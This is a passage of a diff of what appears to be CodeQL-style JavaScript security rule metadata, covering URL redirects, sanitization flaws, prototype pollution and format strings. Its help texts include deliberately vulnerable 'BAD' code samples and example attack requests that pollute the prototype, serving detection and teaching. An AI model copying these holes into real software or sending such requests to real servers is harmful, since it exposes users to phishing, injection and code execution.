[CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html).\n" }, "properties" : { - "tags" : [ "security", "external/cwe/cwe-200", "external/cwe/cwe-219", "external/cwe/cwe-548" ], - "description" : "Exposing a node_modules folder, or the project folder to the public, can cause exposure\n of private information.", - "id" : "js/exposure-of-private-files", - "kind" : "problem", - "name" : "Exposure of private files", + "tags" : [ "security", "external/cwe/cwe-079", "external/cwe/cwe-116", "external/cwe/cwe-601" ], + "description" : "Client-side URL redirection based on unvalidated user input\n may cause redirection to malicious web sites.", + "id" : "js/client-side-unvalidated-url-redirection", + "kind" : "path-problem", + "name" : "Client-side URL redirect", "precision" : "high", - "problem.severity" : "warning", - "security-severity" : "6.5" + "problem.severity" : "error", + "security-severity" : "6.1" } }, { - "id" : "js/incomplete-sanitization", - "name" : "js/incomplete-sanitization", + "id" : "js/server-side-unvalidated-url-redirection", + "name" : "js/server-side-unvalidated-url-redirection", "shortDescription" : { - "text" : "Incomplete string escaping or encoding" + "text" : "Server-side URL redirect" }, "fullDescription" : { - "text" : "A string transformer that does not replace or escape all occurrences of a meta-character may be ineffective." + "text" : "Server-side URL redirection based on unvalidated user input may cause redirection to malicious web sites." }, "defaultConfiguration" : { "enabled" : true, "level" : "warning" }, "help" : { - "text" : "# Incomplete string escaping or encoding\nSanitizing untrusted input is a common technique for preventing injection attacks such as SQL injection or cross-site scripting. Usually, this is done by escaping meta-characters such as quotes in a domain-specific way so that they are treated as normal characters.\n\nHowever, directly using the string `replace` method to perform escaping is notoriously error-prone. Common mistakes include only replacing the first occurrence of a meta-character, or backslash-escaping various meta-characters but not the backslash itself.\n\nIn the former case, later meta-characters are left undisturbed and can be used to subvert the sanitization. In the latter case, preceding a meta-character with a backslash leads to the backslash being escaped, but the meta-character appearing un-escaped, which again makes the sanitization ineffective.\n\nEven if the escaped string is not used in a security-critical context, incomplete escaping may still have undesirable effects, such as badly rendered or confusing output.\n\n\n## Recommendation\nUse a (well-tested) sanitization library if at all possible. These libraries are much more likely to handle corner cases correctly than a custom implementation.\n\nAn even safer alternative is to design the application so that sanitization is not needed, for instance by using prepared statements for SQL queries.\n\nOtherwise, make sure to use a regular expression with the `g` flag to ensure that all occurrences are replaced, and remember to escape backslashes if applicable.\n\n\n## Example\nFor example, assume that we want to embed a user-controlled string `accountNumber` into a SQL query as part of a string literal. To avoid SQL injection, we need to ensure that the string does not contain un-escaped single-quote characters. The following function attempts to ensure this by doubling single quotes, and thereby escaping them:\n\n\n```javascript\nfunction escapeQuotes(s) {\n return s.replace(\"'\", \"''\");\n}\n\n```\nAs written, this sanitizer is ineffective: if the first argument to `replace` is a string literal (as in this case), only the *first* occurrence of that string is replaced.\n\nAs mentioned above, the function `escapeQuotes` should be replaced with a purpose-built sanitization library, such as the npm module `sqlstring`. Many other sanitization libraries are available from npm and other sources.\n\nIf this is not an option, `escapeQuotes` should be rewritten to use a regular expression with the `g` (\"global\") flag instead:\n\n\n```javascript\nfunction escapeQuotes(s) {\n return s.replace(/'/g, \"''\");\n}\n\n```\nNote that it is very important to include the global flag: `s.replace(/'/, \"''\")` *without* the global flag is equivalent to the first example above and only replaces the first quote.\n\n\n## References\n* OWASP Top 10: [A1 Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection).\n* npm: [sqlstring](https://www.npmjs.com/package/sqlstring) package.\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-80](https://cwe.mitre.org/data/definitions/80.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n", - "markdown" : "# Incomplete string escaping or encoding\nSanitizing untrusted input is a common technique for preventing injection attacks such as SQL injection or cross-site scripting. Usually, this is done by escaping meta-characters such as quotes in a domain-specific way so that they are treated as normal characters.\n\nHowever, directly using the string `replace` method to perform escaping is notoriously error-prone. Common mistakes include only replacing the first occurrence of a meta-character, or backslash-escaping various meta-characters but not the backslash itself.\n\nIn the former case, later meta-characters are left undisturbed and can be used to subvert the sanitization. In the latter case, preceding a meta-character with a backslash leads to the backslash being escaped, but the meta-character appearing un-escaped, which again makes the sanitization ineffective.\n\nEven if the escaped string is not used in a security-critical context, incomplete escaping may still have undesirable effects, such as badly rendered or confusing output.\n\n\n## Recommendation\nUse a (well-tested) sanitization library if at all possible. These libraries are much more likely to handle corner cases correctly than a custom implementation.\n\nAn even safer alternative is to design the application so that sanitization is not needed, for instance by using prepared statements for SQL queries.\n\nOtherwise, make sure to use a regular expression with the `g` flag to ensure that all occurrences are replaced, and remember to escape backslashes if applicable.\n\n\n## Example\nFor example, assume that we want to embed a user-controlled string `accountNumber` into a SQL query as part of a string literal. To avoid SQL injection, we need to ensure that the string does not contain un-escaped single-quote characters. The following function attempts to ensure this by doubling single quotes, and thereby escaping them:\n\n\n```javascript\nfunction escapeQuotes(s) {\n return s.replace(\"'\", \"''\");\n}\n\n```\nAs written, this sanitizer is ineffective: if the first argument to `replace` is a string literal (as in this case), only the *first* occurrence of that string is replaced.\n\nAs mentioned above, the function `escapeQuotes` should be replaced with a purpose-built sanitization library, such as the npm module `sqlstring`. Many other sanitization libraries are available from npm and other sources.\n\nIf this is not an option, `escapeQuotes` should be rewritten to use a regular expression with the `g` (\"global\") flag instead:\n\n\n```javascript\nfunction escapeQuotes(s) {\n return s.replace(/'/g, \"''\");\n}\n\n```\nNote that it is very important to include the global flag: `s.replace(/'/, \"''\")` *without* the global flag is equivalent to the first example above and only replaces the first quote.\n\n\n## References\n* OWASP Top 10: [A1 Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection).\n* npm: [sqlstring](https://www.npmjs.com/package/sqlstring) package.\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-80](https://cwe.mitre.org/data/definitions/80.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n" + "text" : "# Server-side URL redirect\nDirectly incorporating user input into a URL redirect request without validating the input can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker.\n\n\n## Recommendation\nTo guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided.\n\nIf this is not possible, then the user input should be validated in some other way, for example, by verifying that the target URL is on the same host as the current page.\n\n\n## Example\nThe following example shows an HTTP request parameter being used directly in a URL redirect without validating the input, which facilitates phishing attacks:\n\n\n```javascript\nconst app = require(\"express\")();\n\napp.get(\"/redirect\", function (req, res) {\n // BAD: a request parameter is incorporated without validation into a URL redirect\n res.redirect(req.query[\"target\"]);\n});\n\n```\nOne way to remedy the problem is to validate the user input against a known fixed string before doing the redirection:\n\n\n```javascript\nconst app = require(\"express\")();\n\nconst VALID_REDIRECT = \"http://cwe.mitre.org/data/definitions/601.html\";\n\napp.get(\"/redirect\", function (req, res) {\n // GOOD: the request parameter is validated against a known fixed string\n let target = req.query[\"target\"];\n if (VALID_REDIRECT === target) {\n res.redirect(target);\n } else {\n res.redirect(\"/\");\n }\n});\n\n```\nAlternatively, we can check that the target URL does not redirect to a different host by parsing it relative to a base URL with a known host and verifying that the host stays the same:\n\n\n```javascript\nconst app = require(\"express\")();\n\nfunction isLocalUrl(path) {\n try {\n return (\n // TODO: consider substituting your own domain for example.com\n new URL(path, \"https://example.com\").origin === \"https://example.com\"\n );\n } catch (e) {\n return false;\n }\n}\n\napp.get(\"/redirect\", function (req, res) {\n // GOOD: check that we don't redirect to a different host\n let target = req.query[\"target\"];\n if (isLocalUrl(target)) {\n res.redirect(target);\n } else {\n res.redirect(\"/\");\n }\n});\n\n```\nNote that as written, the above code will allow redirects to URLs on `example.com`, which is harmless but perhaps not intended. You can substitute your own domain (if known) for `example.com` to prevent this.\n\n\n## References\n* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html).\n", + "markdown" : "# Server-side URL redirect\nDirectly incorporating user input into a URL redirect request without validating the input can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker.\n\n\n## Recommendation\nTo guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided.\n\nIf this is not possible, then the user input should be validated in some other way, for example, by verifying that the target URL is on the same host as the current page.\n\n\n## Example\nThe following example shows an HTTP request parameter being used directly in a URL redirect without validating the input, which facilitates phishing attacks:\n\n\n```javascript\nconst app = require(\"express\")();\n\napp.get(\"/redirect\", function (req, res) {\n // BAD: a request parameter is incorporated without validation into a URL redirect\n res.redirect(req.query[\"target\"]);\n});\n\n```\nOne way to remedy the problem is to validate the user input against a known fixed string before doing the redirection:\n\n\n```javascript\nconst app = require(\"express\")();\n\nconst VALID_REDIRECT = \"http://cwe.mitre.org/data/definitions/601.html\";\n\napp.get(\"/redirect\", function (req, res) {\n // GOOD: the request parameter is validated against a known fixed string\n let target = req.query[\"target\"];\n if (VALID_REDIRECT === target) {\n res.redirect(target);\n } else {\n res.redirect(\"/\");\n }\n});\n\n```\nAlternatively, we can check that the target URL does not redirect to a different host by parsing it relative to a base URL with a known host and verifying that the host stays the same:\n\n\n```javascript\nconst app = require(\"express\")();\n\nfunction isLocalUrl(path) {\n try {\n return (\n // TODO: consider substituting your own domain for example.com\n new URL(path, \"https://example.com\").origin === \"https://example.com\"\n );\n } catch (e) {\n return false;\n }\n}\n\napp.get(\"/redirect\", function (req, res) {\n // GOOD: check that we don't redirect to a different host\n let target = req.query[\"target\"];\n if (isLocalUrl(target)) {\n res.redirect(target);\n } else {\n res.redirect(\"/\");\n }\n});\n\n```\nNote that as written, the above code will allow redirects to URLs on `example.com`, which is harmless but perhaps not intended. You can substitute your own domain (if known) for `example.com` to prevent this.\n\n\n## References\n* OWASP: [ XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-601](https://cwe.mitre.org/data/definitions/601.html).\n" }, "properties" : { - "tags" : [ "correctness", "security", "external/cwe/cwe-020", "external/cwe/cwe-080", "external/cwe/cwe-116" ], - "description" : "A string transformer that does not replace or escape all occurrences of a\n meta-character may be ineffective.", - "id" : "js/incomplete-sanitization", - "kind" : "problem", - "name" : "Incomplete string escaping or encoding", + "tags" : [ "security", "external/cwe/cwe-601" ], + "description" : "Server-side URL redirection based on unvalidated user input\n may cause redirection to malicious web sites.", + "id" : "js/server-side-unvalidated-url-redirection", + "kind" : "path-problem", + "name" : "Server-side URL redirect", "precision" : "high", "problem.severity" : "warning", - "security-severity" : "7.8" + "security-severity" : "6.1" } }, { - "id" : "js/incomplete-multi-character-sanitization", - "name" : "js/incomplete-multi-character-sanitization", + "id" : "js/clear-text-cookie", + "name" : "js/clear-text-cookie", "shortDescription" : { - "text" : "Incomplete multi-character sanitization" + "text" : "Clear text transmission of sensitive cookie" }, "fullDescription" : { - "text" : "A sanitizer that removes a sequence of characters may reintroduce the dangerous sequence." + "text" : "Sending sensitive information in a cookie without requring SSL encryption can expose the cookie to an attacker." }, "defaultConfiguration" : { "enabled" : true, "level" : "warning" }, "help" : { - "text" : "# Incomplete multi-character sanitization\nSanitizing untrusted input is a common technique for preventing injection attacks and other security vulnerabilities. Regular expressions are often used to perform this sanitization. However, when the regular expression matches multiple consecutive characters, replacing it just once can result in the unsafe text reappearing in the sanitized input.\n\nAttackers can exploit this issue by crafting inputs that, when sanitized with an ineffective regular expression, still contain malicious code or content. This can lead to code execution, data exposure, or other vulnerabilities.\n\n\n## Recommendation\nTo prevent this issue, it is highly recommended to use a well-tested sanitization library whenever possible. These libraries are more likely to handle corner cases and ensure effective sanitization.\n\nIf a library is not an option, you can consider alternative strategies to fix the issue. For example, applying the regular expression replacement repeatedly until no more replacements can be performed, or rewriting the regular expression to match single characters instead of the entire unsafe text.\n\n\n## Example\nConsider the following JavaScript code that aims to remove all HTML comment start and end tags:\n\n```javascript\n\nstr.replace(/`, and that HTML tag names can contain upper case characters.\n\n\n## References\n* Securitum: [The Curious Case of Copy & Paste](https://research.securitum.com/the-curious-case-of-copy-paste/).\n* stackoverflow.com: [You can't parse \\[X\\]HTML with regex](https://stackoverflow.com/questions/1732348/regex-match-open-tags-except-xhtml-self-contained-tags#answer-1732454).\n* HTML Standard: [Comment end bang state](https://html.spec.whatwg.org/multipage/parsing.html#comment-end-bang-state).\n* stackoverflow.com: [Why aren't browsers strict about HTML?](https://stackoverflow.com/questions/25559999/why-arent-browsers-strict-about-html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-80](https://cwe.mitre.org/data/definitions/80.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n* Common Weakness Enumeration: [CWE-184](https://cwe.mitre.org/data/definitions/184.html).\n* Common Weakness Enumeration: [CWE-185](https://cwe.mitre.org/data/definitions/185.html).\n* Common Weakness Enumeration: [CWE-186](https://cwe.mitre.org/data/definitions/186.html).\n", - "markdown" : "# Bad HTML filtering regexp\nIt is possible to match some single HTML tags using regular expressions (parsing general HTML using regular expressions is impossible). However, if the regular expression is not written well it might be possible to circumvent it, which can lead to cross-site scripting or other security issues.\n\nSome of these mistakes are caused by browsers having very forgiving HTML parsers, and will often render invalid HTML containing syntax errors. Regular expressions that attempt to match HTML should also recognize tags containing such syntax errors.\n\n\n## Recommendation\nUse a well-tested sanitization or parser library if at all possible. These libraries are much more likely to handle corner cases correctly than a custom implementation.\n\n\n## Example\nThe following example attempts to filters out all `` as script end tags, but also tags such as `` even though it is a parser error. This means that an attack string such as `` will not be filtered by the function, and `alert(1)` will be executed by a browser if the string is rendered as HTML.\n\nOther corner cases include that HTML comments can end with `--!>`, and that HTML tag names can contain upper case characters.\n\n\n## References\n* Securitum: [The Curious Case of Copy & Paste](https://research.securitum.com/the-curious-case-of-copy-paste/).\n* stackoverflow.com: [You can't parse \\[X\\]HTML with regex](https://stackoverflow.com/questions/1732348/regex-match-open-tags-except-xhtml-self-contained-tags#answer-1732454).\n* HTML Standard: [Comment end bang state](https://html.spec.whatwg.org/multipage/parsing.html#comment-end-bang-state).\n* stackoverflow.com: [Why aren't browsers strict about HTML?](https://stackoverflow.com/questions/25559999/why-arent-browsers-strict-about-html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-80](https://cwe.mitre.org/data/definitions/80.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n* Common Weakness Enumeration: [CWE-184](https://cwe.mitre.org/data/definitions/184.html).\n* Common Weakness Enumeration: [CWE-185](https://cwe.mitre.org/data/definitions/185.html).\n* Common Weakness Enumeration: [CWE-186](https://cwe.mitre.org/data/definitions/186.html).\n" + "text" : "# Prototype-polluting assignment\nMost JavaScript objects inherit the properties of the built-in `Object.prototype` object. Prototype pollution is a type of vulnerability in which an attacker is able to modify `Object.prototype`. Since most objects inherit from the compromised `Object.prototype` object, the attacker can use this to tamper with the application logic, and often escalate to remote code execution or cross-site scripting.\n\nOne way to cause prototype pollution is by modifying an object obtained via a user-controlled property name. Most objects have a special `__proto__` property that refers to `Object.prototype`. An attacker can abuse this special property to trick the application into performing unintended modifications of `Object.prototype`.\n\n\n## Recommendation\nUse an associative data structure that is resilient to untrusted key values, such as a [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map). In some cases, a prototype-less object created with [Object.create(null)](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create) may be preferable.\n\nAlternatively, restrict the computed property name so it can't clash with a built-in property, either by prefixing it with a constant string, or by rejecting inputs that don't conform to the expected format.\n\n\n## Example\nIn the example below, the untrusted value `req.params.id` is used as the property name `req.session.todos[id]`. If a malicious user passes in the ID value `__proto__`, the variable `items` will then refer to `Object.prototype`. Finally, the modification of `items` then allows the attacker to inject arbitrary properties onto `Object.prototype`.\n\n\n```javascript\nlet express = require('express');\nlet app = express()\n\napp.put('/todos/:id', (req, res) => {\n let id = req.params.id;\n let items = req.session.todos[id];\n if (!items) {\n items = req.session.todos[id] = {};\n }\n items[req.query.name] = req.query.text;\n res.end(200);\n});\n\n```\nOne way to fix this is to use [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map) objects to associate key/value pairs instead of regular objects, as shown below:\n\n\n```javascript\nlet express = require('express');\nlet app = express()\n\napp.put('/todos/:id', (req, res) => {\n let id = req.params.id;\n let items = req.session.todos.get(id);\n if (!items) {\n items = new Map();\n req.sessions.todos.set(id, items);\n }\n items.set(req.query.name, req.query.text);\n res.end(200);\n});\n\n```\nAnother way to fix it is to prevent the `__proto__` property from being used as a key, as shown below:\n\n\n```javascript\nlet express = require('express');\nlet app = express()\n\napp.put('/todos/:id', (req, res) => {\n let id = req.params.id;\n if (id === '__proto__' || id === 'constructor' || id === 'prototype') {\n res.end(403);\n return;\n }\n let items = req.session.todos[id];\n if (!items) {\n items = req.session.todos[id] = {};\n }\n items[req.query.name] = req.query.text;\n res.end(200);\n});\n\n```\n\n## References\n* MDN: [Object.prototype.__proto__](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/proto)\n* MDN: [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map)\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-471](https://cwe.mitre.org/data/definitions/471.html).\n* Common Weakness Enumeration: [CWE-915](https://cwe.mitre.org/data/definitions/915.html).\n", + "markdown" : "# Prototype-polluting assignment\nMost JavaScript objects inherit the properties of the built-in `Object.prototype` object. Prototype pollution is a type of vulnerability in which an attacker is able to modify `Object.prototype`. Since most objects inherit from the compromised `Object.prototype` object, the attacker can use this to tamper with the application logic, and often escalate to remote code execution or cross-site scripting.\n\nOne way to cause prototype pollution is by modifying an object obtained via a user-controlled property name. Most objects have a special `__proto__` property that refers to `Object.prototype`. An attacker can abuse this special property to trick the application into performing unintended modifications of `Object.prototype`.\n\n\n## Recommendation\nUse an associative data structure that is resilient to untrusted key values, such as a [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map). In some cases, a prototype-less object created with [Object.create(null)](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create) may be preferable.\n\nAlternatively, restrict the computed property name so it can't clash with a built-in property, either by prefixing it with a constant string, or by rejecting inputs that don't conform to the expected format.\n\n\n## Example\nIn the example below, the untrusted value `req.params.id` is used as the property name `req.session.todos[id]`. If a malicious user passes in the ID value `__proto__`, the variable `items` will then refer to `Object.prototype`. Finally, the modification of `items` then allows the attacker to inject arbitrary properties onto `Object.prototype`.\n\n\n```javascript\nlet express = require('express');\nlet app = express()\n\napp.put('/todos/:id', (req, res) => {\n let id = req.params.id;\n let items = req.session.todos[id];\n if (!items) {\n items = req.session.todos[id] = {};\n }\n items[req.query.name] = req.query.text;\n res.end(200);\n});\n\n```\nOne way to fix this is to use [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map) objects to associate key/value pairs instead of regular objects, as shown below:\n\n\n```javascript\nlet express = require('express');\nlet app = express()\n\napp.put('/todos/:id', (req, res) => {\n let id = req.params.id;\n let items = req.session.todos.get(id);\n if (!items) {\n items = new Map();\n req.sessions.todos.set(id, items);\n }\n items.set(req.query.name, req.query.text);\n res.end(200);\n});\n\n```\nAnother way to fix it is to prevent the `__proto__` property from being used as a key, as shown below:\n\n\n```javascript\nlet express = require('express');\nlet app = express()\n\napp.put('/todos/:id', (req, res) => {\n let id = req.params.id;\n if (id === '__proto__' || id === 'constructor' || id === 'prototype') {\n res.end(403);\n return;\n }\n let items = req.session.todos[id];\n if (!items) {\n items = req.session.todos[id] = {};\n }\n items[req.query.name] = req.query.text;\n res.end(200);\n});\n\n```\n\n## References\n* MDN: [Object.prototype.__proto__](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/proto)\n* MDN: [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map)\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-471](https://cwe.mitre.org/data/definitions/471.html).\n* Common Weakness Enumeration: [CWE-915](https://cwe.mitre.org/data/definitions/915.html).\n" }, "properties" : { - "tags" : [ "correctness", "security", "external/cwe/cwe-020", "external/cwe/cwe-080", "external/cwe/cwe-116", "external/cwe/cwe-184", "external/cwe/cwe-185", "external/cwe/cwe-186" ], - "description" : "Matching HTML tags using regular expressions is hard to do right, and can easily lead to security issues.", - "id" : "js/bad-tag-filter", - "kind" : "problem", - "name" : "Bad HTML filtering regexp", + "tags" : [ "security", "external/cwe/cwe-078", "external/cwe/cwe-079", "external/cwe/cwe-094", "external/cwe/cwe-400", "external/cwe/cwe-471", "external/cwe/cwe-915" ], + "description" : "Modifying an object obtained via a user-controlled property name may\n lead to accidental mutation of the built-in Object prototype,\n and possibly escalate to remote code execution or cross-site scripting.", + "id" : "js/prototype-polluting-assignment", + "kind" : "path-problem", + "name" : "Prototype-polluting assignment", "precision" : "high", "problem.severity" : "warning", - "security-severity" : "7.8" + "security-severity" : "6.1" } }, { - "id" : "js/tainted-format-string", - "name" : "js/tainted-format-string", + "id" : "js/prototype-pollution", + "name" : "js/prototype-pollution", "shortDescription" : { - "text" : "Use of externally-controlled format string" + "text" : "Prototype-polluting merge call" }, "fullDescription" : { - "text" : "Using external input in format strings can lead to garbled output." + "text" : "Recursively merging a user-controlled object into another object can allow an attacker to modify the built-in Object prototype, and possibly escalate to remote code execution or cross-site scripting." }, "defaultConfiguration" : { "enabled" : true, - "level" : "warning" + "level" : "error" }, "help" : { - "text" : "# Use of externally-controlled format string\nFunctions like the Node.js standard library function `util.format` accept a format string that is used to format the remaining arguments by providing inline format specifiers. If the format string contains unsanitized input from an untrusted source, then that string may contain unexpected format specifiers that cause garbled output.\n\n\n## Recommendation\nEither sanitize the input before including it in the format string, or use a `%s` specifier in the format string, and pass the untrusted data as corresponding argument.\n\n\n## Example\nThe following program snippet logs information about an unauthorized access attempt. The log message includes the user name, and the user's IP address is passed as an additional argument to `console.log` to be appended to the message:\n\n\n```javascript\nconst app = require(\"express\")();\n\napp.get(\"unauthorized\", function handler(req, res) {\n let user = req.query.user;\n let ip = req.connection.remoteAddress;\n console.log(\"Unauthorized access attempt by \" + user, ip);\n});\n\n```\nHowever, if a malicious user provides `%d` as their user name, `console.log` will instead attempt to format the `ip` argument as a number. Since IP addresses are not valid numbers, the result of this conversion is `NaN`. The resulting log message will read \"Unauthorized access attempt by NaN\", missing all the information that it was trying to log in the first place.\n\nInstead, the user name should be included using the `%s` specifier:\n\n\n```javascript\nconst app = require(\"express\")();\n\napp.get(\"unauthorized\", function handler(req, res) {\n let user = req.query.user;\n let ip = req.connection.remoteAddress;\n console.log(\"Unauthorized access attempt by %s\", user, ip);\n});\n\n```\n\n## References\n* Node.js Documentation: [util.format](https://nodejs.org/api/util.html#util_util_format_format_args).\n* Common Weakness Enumeration: [CWE-134](https://cwe.mitre.org/data/definitions/134.html).\n", - "markdown" : "# Use of externally-controlled format string\nFunctions like the Node.js standard library function `util.format` accept a format string that is used to format the remaining arguments by providing inline format specifiers. If the format string contains unsanitized input from an untrusted source, then that string may contain unexpected format specifiers that cause garbled output.\n\n\n## Recommendation\nEither sanitize the input before including it in the format string, or use a `%s` specifier in the format string, and pass the untrusted data as corresponding argument.\n\n\n## Example\nThe following program snippet logs information about an unauthorized access attempt. The log message includes the user name, and the user's IP address is passed as an additional argument to `console.log` to be appended to the message:\n\n\n```javascript\nconst app = require(\"express\")();\n\napp.get(\"unauthorized\", function handler(req, res) {\n let user = req.query.user;\n let ip = req.connection.remoteAddress;\n console.log(\"Unauthorized access attempt by \" + user, ip);\n});\n\n```\nHowever, if a malicious user provides `%d` as their user name, `console.log` will instead attempt to format the `ip` argument as a number. Since IP addresses are not valid numbers, the result of this conversion is `NaN`. The resulting log message will read \"Unauthorized access attempt by NaN\", missing all the information that it was trying to log in the first place.\n\nInstead, the user name should be included using the `%s` specifier:\n\n\n```javascript\nconst app = require(\"express\")();\n\napp.get(\"unauthorized\", function handler(req, res) {\n let user = req.query.user;\n let ip = req.connection.remoteAddress;\n console.log(\"Unauthorized access attempt by %s\", user, ip);\n});\n\n```\n\n## References\n* Node.js Documentation: [util.format](https://nodejs.org/api/util.html#util_util_format_format_args).\n* Common Weakness Enumeration: [CWE-134](https://cwe.mitre.org/data/definitions/134.html).\n" + "text" : "# Prototype-polluting merge call\nMost JavaScript objects inherit the properties of the built-in `Object.prototype` object. Prototype pollution is a type of vulnerability in which an attacker is able to modify `Object.prototype`. Since most objects inherit from the compromised `Object.prototype`, the attacker can use this to tamper with the application logic, and often escalate to remote code execution or cross-site scripting.\n\nOne way to cause prototype pollution is through use of an unsafe *merge* or *extend* function to recursively copy properties from an untrusted source object. Such a call can modify any object reachable from the destination object, and the built-in `Object.prototype` is usually reachable through the special properties `__proto__` and `constructor.prototype`. An attacker can abuse this by sending an object with these property names and thereby modify `Object.prototype`.\n\n\n## Recommendation\nUpdate your library dependencies in order to use a safe version of the *merge* or *extend* function. If your library has no fixed version, switch to another library.\n\n\n## Example\nIn the example below, the untrusted value `req.query.prefs` is parsed as JSON and then copied into a new object:\n\n\n```javascript\napp.get('/news', (req, res) => {\n let prefs = lodash.merge({}, JSON.parse(req.query.prefs));\n})\n\n```\nPrior to lodash 4.17.11 this would be vulnerable to prototype pollution. An attacker could send the following GET request:\n\n```\nGET /news?prefs={\"constructor\":{\"prototype\":{\"xxx\":true}}}\n```\nThis causes the `xxx` property to be injected on `Object.prototype`. Fix this by updating the lodash version:\n\n\n```json\n{\n \"dependencies\": {\n \"lodash\": \"^4.17.12\"\n }\n}\n\n```\nNote that some web frameworks, such as Express, parse query parameters using extended URL-encoding by default. When this is the case, the application may be vulnerable even if not using `JSON.parse`. The example below would also be susceptible to prototype pollution:\n\n\n```javascript\napp.get('/news', (req, res) => {\n let config = lodash.merge({}, {\n prefs: req.query.prefs\n });\n})\n\n```\nIn the above example, an attacker can cause prototype pollution by sending the following GET request:\n\n```\nGET /news?prefs[constructor][prototype][xxx]=true\n```\n\n## References\n* Prototype pollution attacks: [lodash](https://hackerone.com/reports/380873), [jQuery](https://hackerone.com/reports/454365), [extend](https://hackerone.com/reports/381185), [just-extend](https://hackerone.com/reports/430291), [merge.recursive](https://hackerone.com/reports/381194).\n* Express: [urlencoded()](https://expressjs.com/en/api.html#express.urlencoded)\n* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n* Common Weakness Enumeration: [CWE-471](https://cwe.mitre.org/data/definitions/471.html).\n* Common Weakness Enumeration: [CWE-915](https://cwe.mitre.org/data/definitions/915.html).\n", + "markdown" : "# Prototype-polluting merge call\nMost JavaScript objects inherit the properties of the built-in `Object.prototype` object. Prototype pollution is a type of vulnerability in which an attacker is able to modify `Object.prototype`. Since most objects inherit from the compromised `Object.prototype`, the attacker can use this to tamper with the application logic, and often escalate to remote code execution or cross-site scripting.\n\nOne way to cause prototype pollution is through use of an unsafe *merge* or *extend* function to recursively copy properties from an untrusted source object. Such a call can modify any object reachable from the destination object, and the built-in `Object.prototype` is usually reachable through the special properties `__proto__` and `constructor.prototype`. An attacker can abuse this by sending an object with these property names and thereby modify `Object.prototype`.\n\n\n## Recommendation\nUpdate your library dependencies in order to use a safe version of the *merge* or *extend* function. If your library has no fixed version, switch to another library.\n\n\n## Example\nIn the example below, the untrusted value `req.query.prefs` is parsed as JSON and then copied into a new object:\n\n\n```javascript\napp.get('/news', (req, res) => {\n let prefs = lodash.merge({}, JSON.parse(req.query.prefs));\n})\n\n```\nPrior to lodash 4.17.11 this would be vulnerable to prototype pollution. An attacker could send the following GET request:\n\n```\nGET /news?prefs={\"constructor\":{\"prototype\":{\"xxx\":true}}}\n```\nThis causes the `xxx` property to be injected on `Object.prototype`. Fix this by updating the lodash version:\n\n\n```json\n{\n \"dependencies\": {\n \"lodash\": \"^4.17.12\"\n }\n}\n\n```\nNote that some web frameworks, such as Express, parse query parameters using extended URL-encoding by default. When this is the case, the application may be vulnerable even if not using `JSON.parse`. The example below would also be susceptible to prototype 